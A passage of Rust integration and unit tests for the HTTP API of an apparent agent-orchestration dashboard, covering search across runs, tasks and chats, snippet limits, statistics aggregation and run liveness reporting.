10077 std::fs::write(
10078 runs.join("20260902-140503-cccc").join("run.json"),
10079 "{ not json",
10080 )
10081 .unwrap();
10082
10083 let res = f.get("/api/search?scope=runs&q=quokka").await;
10084 assert_eq!(res.status, 200, "{}", res.body);
10085 let v = res.json();
10086 assert_eq!(v["total"], 1, "{v}");
10087 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
10088 assert_eq!(v["hits"][0]["field"], "text");
10089 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
10090 let parts = v["hits"][0]["snippet"].as_array().unwrap();
10091 assert!(
10092 parts
10093 .iter()
10094 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
10095 "{v}"
10096 );
10097 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
10098 assert_eq!(
10099 flat, "The Quokka leaks across threads",
10100 "whitespace is collapsed"
10101 );
10102
10103 let both = f
10105 .get("/api/search?scope=runs&q=MOBILE%20quokka")
10106 .await
10107 .json();
10108 assert_eq!(both["total"], 1, "{both}");
10109 let neither = f
10110 .get("/api/search?scope=runs&q=quokka%20zebra")
10111 .await
10112 .json();
10113 assert_eq!(neither["total"], 0, "{neither}");
10114 let stmt = f
10116 .get("/api/search?scope=runs&q=mobile%20first")
10117 .await
10118 .json();
10119 assert_eq!(stmt["total"], 2, "{stmt}");
10120 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
10121 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
10122 }
10123
10124 #[test]
10125 fn snippet_ignores_terms_longer_than_the_field() {
10126 let terms = ["ok".to_owned(), "elephant".to_owned()];
10127 let parts = snippet_of("ok", &terms);
10128 assert_eq!(
10129 parts,
10130 vec![SnippetPart {
10131 text: "ok".to_owned(),
10132 hit: true
10133 }]
10134 );
10135 }
10136
10137 #[test]
10138 fn snippet_marks_matches_longer_than_the_window() {
10139 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
10140 let hit_len = |parts: &[SnippetPart]| -> usize {
10141 parts
10142 .iter()
10143 .filter(|p| p.hit)
10144 .map(|p| p.text.chars().count())
10145 .sum()
10146 };
10147 let total =
10148 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
10149
10150 let long = "a".repeat(120);
10151 let parts = snippet_of(&long, std::slice::from_ref(&long));
10152 assert!(hit_len(&parts) > 0, "{parts:?}");
10153 assert!(total(&parts) <= cap);
10154
10155 let ja = "あ".repeat(130);
10156 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
10157 assert!(hit_len(&parts) > 0, "{parts:?}");
10158 assert!(total(&parts) <= cap);
10159
10160 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
10162 let term = format!("ab{}", "c".repeat(100));
10163 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
10164 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
10165 assert!(total(&parts) <= cap);
10166
10167 let text = format!("{}z", "a".repeat(119));
10169 let parts = snippet_of(&text, &["a".repeat(120)]);
10170 assert_eq!(hit_len(&parts), 0, "{parts:?}");
10171 }
10172
10173 #[tokio::test]
10174 async fn search_caps_hits_and_snippet_length() {
10175 let f = Fixture::start().await;
10176 let runs = f.runs();
10177 for n in 0..(SEARCH_MAX_HITS + 5) {
10178 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
10179 }
10180 let v = f.get("/api/search?scope=runs&q=web").await.json();
10181 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
10182 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
10183 assert_eq!(v["truncated"], true);
10184 assert!(
10186 v["hits"]
10187 .as_array()
10188 .unwrap()
10189 .iter()
10190 .all(|h| h["run"]["status"] == "merged")
10191 );
10192
10193 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
10194 let parts = snippet_of(&long, &["needle".to_owned()]);
10195 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
10196 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
10197 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
10198 }
10199
10200 #[tokio::test]
10201 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
10202 let f = Fixture::start().await;
10203 let queue = f.queue();
10204 let mut t = Task::new(
10205 "short title".to_owned(),
10206 "line one\nthe hidden Armadillo detail".to_owned(),
10207 PathBuf::from("/repo/magi"),
10208 Source::Agent {
10209 run: "r1".to_owned(),
10210 node: "chat".to_owned(),
10211 },
10212 );
10213 t.last_error = Some("disk full on /tmp".to_owned());
10214 queue.put(&mut t).expect("file the task");
10215
10216 for (q, want) in [
10217 ("armadillo", 1),
10218 ("disk%20FULL", 1),
10219 ("chat", 1),
10220 ("queued", 1),
10221 ("short%20nothing", 0),
10222 ] {
10223 let v = f
10224 .get(&format!("/api/search?scope=tasks&q={q}"))
10225 .await
10226 .json();
10227 assert_eq!(v["total"], want, "{q}: {v}");
10228 }
10229 for bad in [
10230 "/api/search?scope=tasks&q=",
10231 "/api/search?scope=tasks&q=%20",
10232 "/api/search?scope=chats&q=",
10233 "/api/search?scope=chats&q=%20",
10234 "/api/search?scope=nope&q=a",
10235 "/api/search?q=a",
10236 ] {
10237 assert_eq!(f.get(bad).await.status, 400, "{bad}");
10238 }
10239 }
10240
10241 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10243 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10244 .expect("seat value");
10245 let turns: Vec<serde_json::Value> = turns
10246 .iter()
10247 .map(|(who, body)| {
10248 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10249 })
10250 .collect();
10251 let doc = serde_json::json!({
10252 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10253 "status": status, "turns": turns,
10254 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10255 "seat": seat,
10256 });
10257 let dir = f.home.path().join("talks");
10258 std::fs::create_dir_all(&dir).expect("talks dir");
10259 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10260 }
10261
10262 #[tokio::test]
10263 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10264 let f = Fixture::start().await;
10265 write_talk(
10266 &f,
10267 "20260901-000001-aaaa",
10268 "open",
10269 &[
10270 (
10271 "operator",
10272 "\n Why does the Pangolin cache expire?\nsecond line",
10273 ),
10274 ("agent", "Because the TTL is thirty seconds."),
10275 ],
10276 );
10277 write_talk(
10278 &f,
10279 "20260901-000002-bbbb",
10280 "closed",
10281 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10282 );
10283 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10284
10285 let search = |q: &'static str| {
10286 let f = &f;
10287 async move {
10288 f.get(&format!("/api/search?scope=chats&q={q}"))
10289 .await
10290 .json()
10291 }
10292 };
10293
10294 let v = search("PANGOLIN").await;
10295 assert_eq!(v["scope"], "chats");
10296 assert_eq!(v["total"], 1, "{v}");
10297 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10298 assert_eq!(v["hits"][0]["field"], "title");
10299 assert_eq!(v["unreadable"], 1, "{v}");
10300 let marked: Vec<&str> = v["hits"][0]["snippet"]
10301 .as_array()
10302 .unwrap()
10303 .iter()
10304 .filter(|p| p["hit"] == true)
10305 .map(|p| p["text"].as_str().unwrap())
10306 .collect();
10307 assert_eq!(marked, ["Pangolin"]);
10308
10309 let v = search("zebra").await;
10311 assert_eq!(v["total"], 1, "{v}");
10312 assert_eq!(v["hits"][0]["field"], "agent");
10313 assert_eq!(search("pangolin%20thirty").await["total"], 1);
10315 assert_eq!(search("pangolin%20zebra").await["total"], 0);
10316 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10318 assert_eq!(search(q).await["total"], 0, "{q}");
10319 }
10320 assert_eq!(search("second").await["hits"][0]["field"], "operator");
10322 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10324
10325 let v = f.get("/api/search?scope=nope&q=a").await;
10326 assert_eq!(v.status, 400);
10327 assert!(
10328 v.body.contains("scope must be runs, tasks or chats"),
10329 "{}",
10330 v.body
10331 );
10332 }
10333
10334 #[test]
10335 fn a_question_card_links_a_task_id_to_the_task_page() {
10336 let start = APP_JS
10337 .find("function updateAskCard(")
10338 .expect("updateAskCard exists");
10339 let body = &APP_JS[start..];
10340 let body = &body[..body.find("\n}\n").expect("function end")];
10341 assert!(body.contains("question.run_is_task"));
10342 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10343 assert!(body.contains("`#/runs/${question.run}`"));
10344 assert!(body.contains("\"task\" : \"run\""));
10345 }
10346
10347 #[test]
10348 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10349 let start = APP_JS
10350 .find("function scheduleSearch(")
10351 .expect("scheduleSearch exists");
10352 let body = &APP_JS[start..];
10353 let body = &body[..body.find("\n}\n").expect("function end")];
10354 assert!(body.contains("s.seq += 1"));
10355 }
10356
10357 #[tokio::test]
10362 async fn stats_runs_unreadable_matches_health() {
10363 let f = Fixture::start().await;
10364 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10365 let broken = f.runs().join("20260902-140502-bad");
10366 std::fs::create_dir_all(&broken).expect("run dir");
10367 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10368
10369 let stats = f.get("/api/stats").await;
10370 let health = f.get("/api/health").await;
10371
10372 assert_eq!(stats.status, 200);
10373 assert_eq!(stats.json()["totals"]["runs"], 1);
10374 assert_eq!(stats.json()["runs_unreadable"], 1);
10375 assert_eq!(
10376 stats.json()["runs_unreadable"],
10377 health.json()["runs_unreadable"],
10378 "the dashboard and /api/health must never disagree about how many \
10379 runs could not be read"
10380 );
10381 }
10382
10383 #[tokio::test]
10384 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10385 let f = Fixture::start().await;
10386 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10387 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10388 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10389
10390 let totals = &f.get("/api/stats").await.json()["totals"];
10391 assert_eq!(totals["runs"], 3);
10392 assert_eq!(totals["merged"], 1);
10393 assert_eq!(totals["stalled"], 1);
10394 assert_eq!(totals["in_progress"], 1);
10395 assert_eq!(totals["blocked"], 0);
10398 assert_eq!(totals["ready"], 0);
10399 }
10400
10401 #[tokio::test]
10402 async fn stats_advisors_report_proposals_and_reflection() {
10403 use crate::advise::{Advice, AdvisorRecord, Reflection};
10404 use crate::verdict::Proposal;
10405
10406 let f = Fixture::start().await;
10407 let mut state = RunState::new(
10408 PathBuf::from("/repo/magi"),
10409 "main".to_owned(),
10410 "0123456789abcdef".to_owned(),
10411 "task".to_owned(),
10412 Config::default(),
10413 );
10414 state.id = "20260902-140501-a".to_owned();
10415 state.status = RunStatus::Merged;
10416 state.advice = Some(Advice {
10417 records: vec![
10418 AdvisorRecord {
10419 seat: "advisor-1".to_owned(),
10420 agent: "alpha".to_owned(),
10421 proposal: Some(Proposal {
10422 approach: "do it".to_owned(),
10423 key_tradeoff: "speed over memory".to_owned(),
10424 risks: Vec::new(),
10425 touches: Vec::new(),
10426 why_not_naive: "breaks under load".to_owned(),
10427 }),
10428 error: None,
10429 duration_ms: 0,
10430 reflection: Reflection::Strong,
10431 },
10432 AdvisorRecord {
10433 seat: "advisor-2".to_owned(),
10434 agent: "alpha".to_owned(),
10435 proposal: None,
10436 error: Some("timed out".to_owned()),
10437 duration_ms: 0,
10438 reflection: Reflection::Absent,
10439 },
10440 ],
10441 synthesis: Some("blended brief".to_owned()),
10442 });
10443 let dir = f.runs().join(&state.id);
10444 std::fs::create_dir_all(&dir).expect("run dir");
10445 std::fs::write(
10446 dir.join("run.json"),
10447 serde_json::to_string_pretty(&state).expect("serialize run"),
10448 )
10449 .expect("write run.json");
10450
10451 let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10452 let alpha = advisors
10453 .as_array()
10454 .expect("an array")
10455 .iter()
10456 .find(|a| a["agent"] == "alpha")
10457 .expect("alpha row");
10458 assert_eq!(alpha["seated"], 2);
10459 assert_eq!(alpha["proposed"], 1);
10460 assert_eq!(alpha["absent"], 1);
10461 assert_eq!(alpha["strong"], 1);
10462 assert_eq!(alpha["faint"], 0);
10463 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10464 }
10465
10466 #[tokio::test]
10467 async fn stats_release_bumps_split_clean_from_attention() {
10468 use crate::run::ReleaseBump;
10469
10470 let f = Fixture::start().await;
10471
10472 let mut clean = RunState::new(
10473 PathBuf::from("/repo/magi"),
10474 "main".to_owned(),
10475 "0123456789abcdef".to_owned(),
10476 "task".to_owned(),
10477 Config::default(),
10478 );
10479 clean.id = "20260902-140501-a".to_owned();
10480 clean.status = RunStatus::Merged;
10481 clean.release_bump = Some(ReleaseBump {
10482 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10483 version: Some("1.0.0".to_owned()),
10484 automerge_enabled: true,
10485 merged_directly: false,
10486 local: false,
10487 release: None,
10488 problem: None,
10489 action_required: None,
10490 });
10491
10492 let mut blocked = RunState::new(
10493 PathBuf::from("/repo/magi"),
10494 "main".to_owned(),
10495 "0123456789abcdef".to_owned(),
10496 "task".to_owned(),
10497 Config::default(),
10498 );
10499 blocked.id = "20260902-140502-b".to_owned();
10500 blocked.status = RunStatus::Merged;
10501 blocked.release_bump = Some(ReleaseBump {
10502 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10503 version: Some("1.0.1".to_owned()),
10504 automerge_enabled: false,
10505 merged_directly: false,
10506 local: false,
10507 release: None,
10508 problem: Some("checks red".to_owned()),
10509 action_required: Some("look at the PR".to_owned()),
10510 });
10511
10512 for state in [&clean, &blocked] {
10513 let dir = f.runs().join(&state.id);
10514 std::fs::create_dir_all(&dir).expect("run dir");
10515 std::fs::write(
10516 dir.join("run.json"),
10517 serde_json::to_string_pretty(state).expect("serialize run"),
10518 )
10519 .expect("write run.json");
10520 }
10521
10522 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10523 assert_eq!(bumps["merged"], 2);
10524 assert_eq!(bumps["recorded"], 2);
10525 assert_eq!(bumps["pr_opened"], 2);
10526 assert_eq!(bumps["automerge_enabled"], 1);
10527 assert_eq!(bumps["needs_attention"], 1);
10528 assert_eq!(bumps["clean"], 1);
10529 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10530 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10531 }
10532
10533 #[tokio::test]
10534 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10535 let f = Fixture::start().await;
10536 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10537
10538 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10539 assert_eq!(bumps["merged"], 1);
10540 assert_eq!(bumps["recorded"], 0);
10541 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10544 assert_eq!(bumps["automerge_rate"], Value::Null);
10547 assert_eq!(bumps["attention_rate"], Value::Null);
10548 }
10549
10550 #[tokio::test]
10551 async fn stats_queue_counts_come_from_the_live_queue() {
10552 let f = Fixture::start().await;
10553 let q = f.queue();
10554 let mut queued = Task::new(
10555 "queued task".to_owned(),
10556 "do it".to_owned(),
10557 PathBuf::from("/repo"),
10558 Source::Human,
10559 );
10560 q.put(&mut queued).expect("put queued");
10561 let mut held = Task::new(
10562 "held task".to_owned(),
10563 "do it later".to_owned(),
10564 PathBuf::from("/repo"),
10565 Source::Human,
10566 );
10567 held.hold_machine(Some("out of attempts".to_owned()));
10568 q.put(&mut held).expect("put held");
10569
10570 let queue = f.get("/api/stats").await.json()["queue"].clone();
10571 assert_eq!(queue["queued"], 1);
10572 assert_eq!(queue["held"], 1);
10573 assert_eq!(queue["running"], 0);
10574 assert_eq!(queue["done"], 0);
10575 assert_eq!(queue["failed"], 0);
10576 assert_eq!(queue["blocked"], 0);
10577 }
10578
10579 #[tokio::test]
10580 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10581 let f = Fixture::start().await;
10582 let stats = f.get("/api/stats").await;
10583 assert_eq!(stats.status, 200);
10584 assert_eq!(stats.json()["totals"]["runs"], 0);
10585 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10586 assert_eq!(stats.json()["runs_unreadable"], 0);
10587 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10588 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10589 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10590 assert_eq!(stats.json()["repo"], Value::Null);
10591 }
10592
10593 #[tokio::test]
10594 async fn stats_lists_every_repository_with_runs_recorded() {
10595 let f = Fixture::start().await;
10596 write_run_repo(
10597 &f.runs(),
10598 "20260902-140501-a",
10599 RunStatus::Merged,
10600 "/repos/a",
10601 );
10602 write_run_repo(
10603 &f.runs(),
10604 "20260902-140502-b",
10605 RunStatus::Merged,
10606 "/repos/a",
10607 );
10608 write_run_repo(
10609 &f.runs(),
10610 "20260902-140503-c",
10611 RunStatus::Blocked,
10612 "/repos/b",
10613 );
10614
10615 let stats = f.get("/api/stats").await;
10616 assert_eq!(stats.status, 200);
10617 assert_eq!(stats.json()["totals"]["runs"], 3);
10619 assert_eq!(stats.json()["repo"], Value::Null);
10620
10621 let repos = stats.json()["repos"].clone();
10622 let repos = repos.as_array().unwrap();
10623 assert_eq!(repos.len(), 2);
10624 assert_eq!(repos[0]["repo"], "/repos/a");
10626 assert_eq!(repos[0]["name"], "a");
10627 assert_eq!(repos[0]["runs"], 2);
10628 assert_eq!(repos[1]["repo"], "/repos/b");
10629 assert_eq!(repos[1]["runs"], 1);
10630 }
10631
10632 #[tokio::test]
10633 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10634 let f = Fixture::start().await;
10635 write_run_repo(
10636 &f.runs(),
10637 "20260902-140501-a",
10638 RunStatus::Merged,
10639 "/repos/a",
10640 );
10641 write_run_repo(
10642 &f.runs(),
10643 "20260902-140502-b",
10644 RunStatus::Blocked,
10645 "/repos/b",
10646 );
10647
10648 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10649 assert_eq!(stats.status, 200);
10650 assert_eq!(stats.json()["totals"]["runs"], 1);
10651 assert_eq!(stats.json()["totals"]["merged"], 1);
10652 assert_eq!(stats.json()["repo"], "/repos/a");
10653 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10656 assert_eq!(stats.json()["runs_unreadable"], 0);
10659 }
10660
10661 #[tokio::test]
10662 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10663 let f = Fixture::start().await;
10664 write_run_repo(
10665 &f.runs(),
10666 "20260902-140501-a",
10667 RunStatus::Merged,
10668 "/repos/a",
10669 );
10670
10671 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10672 assert_eq!(stats.status, 404);
10673 }
10674
10675 #[tokio::test]
10676 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10677 let f = Fixture::start().await;
10678 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10679
10680 let summary = f.get("/api/runs").await.json();
10681 let row = &summary[0];
10682 assert_eq!(row["short"], "a1b2");
10683 assert_eq!(row["status"], "ready");
10684 assert_eq!(row["done"], true);
10685 assert_eq!(row["title"], "Add a web UI");
10686 assert_eq!(row["repo_name"], "magi");
10687 assert_eq!(row["judges"], 3);
10688 assert_eq!(row["winner"], Value::Null);
10689 assert_eq!(row["reviews"], 0);
10690
10691 let detail = f.get("/api/runs/a1b2").await;
10694 assert_eq!(detail.status, 200);
10695 assert_eq!(detail.json()["base_branch"], "main");
10696 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
10697 }
10698
10699 #[tokio::test]
10707 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
10708 let f = Fixture::start().await;
10709
10710 let mut none_run = RunState::new(
10711 PathBuf::from("/repo/magi"),
10712 "main".to_owned(),
10713 "0123456789abcdef".to_owned(),
10714 "Add a web UI".to_owned(),
10715 Config::default(),
10716 );
10717 none_run.id = "20260902-140503-none".to_owned();
10718 none_run.status = RunStatus::Ready;
10719 none_run.merge = Some(crate::run::MergeOutcome {
10720 mode: crate::config::MergeMode::None,
10721 ok: true,
10722 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
10723 empty: false,
10724 });
10725 write_state(&f.runs(), &none_run);
10726
10727 let mut pr_run = RunState::new(
10728 PathBuf::from("/repo/magi"),
10729 "main".to_owned(),
10730 "0123456789abcdef".to_owned(),
10731 "Add a web UI".to_owned(),
10732 Config::default(),
10733 );
10734 pr_run.id = "20260902-140504-prcl".to_owned();
10735 pr_run.status = RunStatus::Ready;
10736 pr_run.merge = Some(crate::run::MergeOutcome {
10737 mode: crate::config::MergeMode::Pr,
10738 ok: false,
10739 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
10740 empty: false,
10741 });
10742 write_state(&f.runs(), &pr_run);
10743
10744 let summary = f.get("/api/runs").await.json();
10745 let rows: std::collections::HashMap<&str, &Value> = summary
10746 .as_array()
10747 .expect("an array")
10748 .iter()
10749 .map(|r| (r["id"].as_str().expect("an id"), r))
10750 .collect();
10751 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
10752 assert_eq!(
10753 rows[none_run.id.as_str()]["unmerged_by_design"],
10754 true,
10755 "a mode-none Ready must be flagged in the list"
10756 );
10757 assert_eq!(
10758 rows[pr_run.id.as_str()]["unmerged_by_design"],
10759 false,
10760 "a Ready reached by a closed pull request is a different case"
10761 );
10762
10763 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
10764 assert_eq!(none_detail["status"], "ready");
10765 assert_eq!(none_detail["unmerged_by_design"], true);
10766
10767 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
10768 assert_eq!(pr_detail["unmerged_by_design"], false);
10769 }
10770
10771 #[tokio::test]
10776 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
10777 let f = Fixture::start().await;
10778 let id = "20260902-140502-bbbb";
10782 let mut state = RunState::new(
10783 PathBuf::from("/repo/magi"),
10784 "main".to_owned(),
10785 "0123456789abcdef".to_owned(),
10786 "Add a web UI".to_owned(),
10787 Config::default(),
10788 );
10789 state.id = id.to_owned();
10790 state.status = RunStatus::Judging;
10791 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
10792 let dir = f.runs().join(id);
10793 std::fs::create_dir_all(&dir).expect("run dir");
10794 std::fs::write(
10795 dir.join("run.json"),
10796 serde_json::to_string_pretty(&state).expect("serialize run"),
10797 )
10798 .expect("write run.json");
10799
10800 let cold = f.get(&format!("/api/runs/{id}")).await.json();
10806 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
10807 assert_eq!(cold["live"], "unknown", "{cold}");
10808
10809 write_daemon(f.home.path(), Timestamp::now());
10812 let warm = f.get(&format!("/api/runs/{id}")).await.json();
10813 assert_eq!(warm["live"], "live", "{warm}");
10814 }
10815
10816 #[tokio::test]
10819 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
10820 let f = Fixture::start().await;
10821 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
10822 let mut state = RunState::new(
10823 PathBuf::from("/repo/magi"),
10824 "main".to_owned(),
10825 "0123456789abcdef".to_owned(),
10826 "Add a web UI".to_owned(),
10827 Config::default(),
10828 );
10829 state.id = id.to_owned();
10830 state.origin = origin;
10831 let mut value = serde_json::to_value(&state).expect("serialize run");
10832 if let Some(schema) = schema {
10833 value["schema"] = serde_json::json!(schema);
10834 value.as_object_mut().unwrap().remove("origin");
10835 }
10836 let dir = f.runs().join(id);
10837 std::fs::create_dir_all(&dir).expect("run dir");
10838 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
10839 };
10840 write(
10841 "20260930-092817-ec34",
10842 Some(crate::run::Origin::from_agent_env(
10843 Some(("4a7b".to_owned(), "chat".to_owned())),
10844 None,
10845 )),
10846 None,
10847 );
10848 write("20260930-092817-0ld1", None, Some(12));
10849
10850 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
10851 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
10852 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
10853
10854 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
10855 assert_eq!(
10856 old["origin_label"], "origin unknown (started before origins were recorded)",
10857 "{old}"
10858 );
10859 assert!(old["origin"].is_null(), "{old}");
10860
10861 let list = f.get("/api/runs").await.json();
10862 let labels: Vec<_> = list
10863 .as_array()
10864 .unwrap()
10865 .iter()
10866 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
10867 .collect();
10868 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
10869 }
10870
10871 #[tokio::test]
10878 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
10879 let f = Fixture::start().await;
10880 let id = "20260922-090000-cccc";
10881 let mut state = RunState::new(
10882 PathBuf::from("/repo/magi"),
10883 "main".to_owned(),
10884 "0123456789abcdef".to_owned(),
10885 "Review only".to_owned(),
10886 Config::default(),
10887 );
10888 state.id = id.to_owned();
10889 state.status = RunStatus::Reviewing;
10890 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10891 state.driver_pid = Some(std::process::id());
10897 state.driver_started_at = Some(
10898 crate::proc::process_started_at(std::process::id())
10899 .expect("this test process's own start time must be queryable"),
10900 );
10901 let dir = f.runs().join(id);
10902 std::fs::create_dir_all(&dir).expect("run dir");
10903 std::fs::write(
10904 dir.join("run.json"),
10905 serde_json::to_string_pretty(&state).expect("serialize run"),
10906 )
10907 .expect("write run.json");
10908
10909 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10910 assert_eq!(detail["live"], "live", "{detail}");
10911 }
10912
10913 #[tokio::test]
10919 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
10920 let f = Fixture::start().await;
10921 let id = "20260922-090100-dddd";
10922 let mut state = RunState::new(
10923 PathBuf::from("/repo/magi"),
10924 "main".to_owned(),
10925 "0123456789abcdef".to_owned(),
10926 "Review only".to_owned(),
10927 Config::default(),
10928 );
10929 state.id = id.to_owned();
10930 state.status = RunStatus::Reviewing;
10931 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
10932 state.driver_pid = Some(std::process::id());
10937 state.driver_started_at = Some("1".to_owned());
10938 let dir = f.runs().join(id);
10939 std::fs::create_dir_all(&dir).expect("run dir");
10940 std::fs::write(
10941 dir.join("run.json"),
10942 serde_json::to_string_pretty(&state).expect("serialize run"),
10943 )
10944 .expect("write run.json");
10945
10946 let detail = f.get(&format!("/api/runs/{id}")).await.json();
10947 assert_eq!(detail["live"], "dead", "{detail}");
10948 }
10949
10950 #[test]
10954 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
10955 let mk = |id: &str, pid: Option<u32>| {
10956 let mut s = RunState::new(
10957 PathBuf::from("/repo/magi"),
10958 "main".to_owned(),
10959 "0123456789abcdef".to_owned(),
10960 "Add a web UI".to_owned(),
10961 Config::default(),
10962 );
10963 s.id = id.to_owned();
10964 s.driver_pid = pid;
10965 s.driver_started_at = Some("1790000000".to_owned());
10966 s
10967 };
10968 let states = vec![
10969 mk("20260902-140502-aaaa", Some(77)),
10970 mk("20260902-140502-bbbb", Some(77)),
10971 mk("20260902-140502-cccc", Some(77)),
10972 mk("20260902-140502-dddd", None),
10973 ];
10974 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
10975 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
10976 let sup: HashMap<String, String> = [(
10977 "20260902-140502-aaaa".to_owned(),
10978 "20260902-140502-cccc".to_owned(),
10979 )]
10980 .into();
10981
10982 let status_calls = std::cell::Cell::new(0);
10983 let identity_calls = std::cell::Cell::new(0);
10984 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
10985 |_| {
10986 status_calls.set(status_calls.get() + 1);
10987 Some(true)
10988 },
10989 |_| {
10990 identity_calls.set(identity_calls.get() + 1);
10991 Some("1790000000".to_owned())
10992 },
10993 ));
10994 let rows = summarize(
10995 states,
10996 &open,
10997 &claimed,
10998 &sup,
10999 |p| probe.borrow_mut().status(p),
11000 |p| probe.borrow_mut().started_at(p),
11001 );
11002
11003 assert_eq!(status_calls.get(), 1, "one pid, one status query");
11004 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11005 assert_eq!(rows.len(), 4);
11006 assert!(!rows[0].waiting && rows[1].waiting);
11007 assert_eq!(rows[0].live, crate::run::Liveness::Live);
11008 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11009 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11010 assert_eq!(rows[1].superseded_by, None);
11011 }
11012
11013 #[test]
11014 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11015 let mut state = RunState::new(
11016 PathBuf::from("/repo/magi"),
11017 "main".to_owned(),
11018 "0123456789abcdef".to_owned(),
11019 "Review only".to_owned(),
11020 Config::default(),
11021 );
11022 state.id = "20260922-090200-dead".to_owned();
11023 state.status = RunStatus::Reviewing;
11024 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11025 .expect("serialize list row");
11026 assert_eq!(row["status"], "reviewing");
11027 assert_eq!(row["live"], "dead", "{row}");
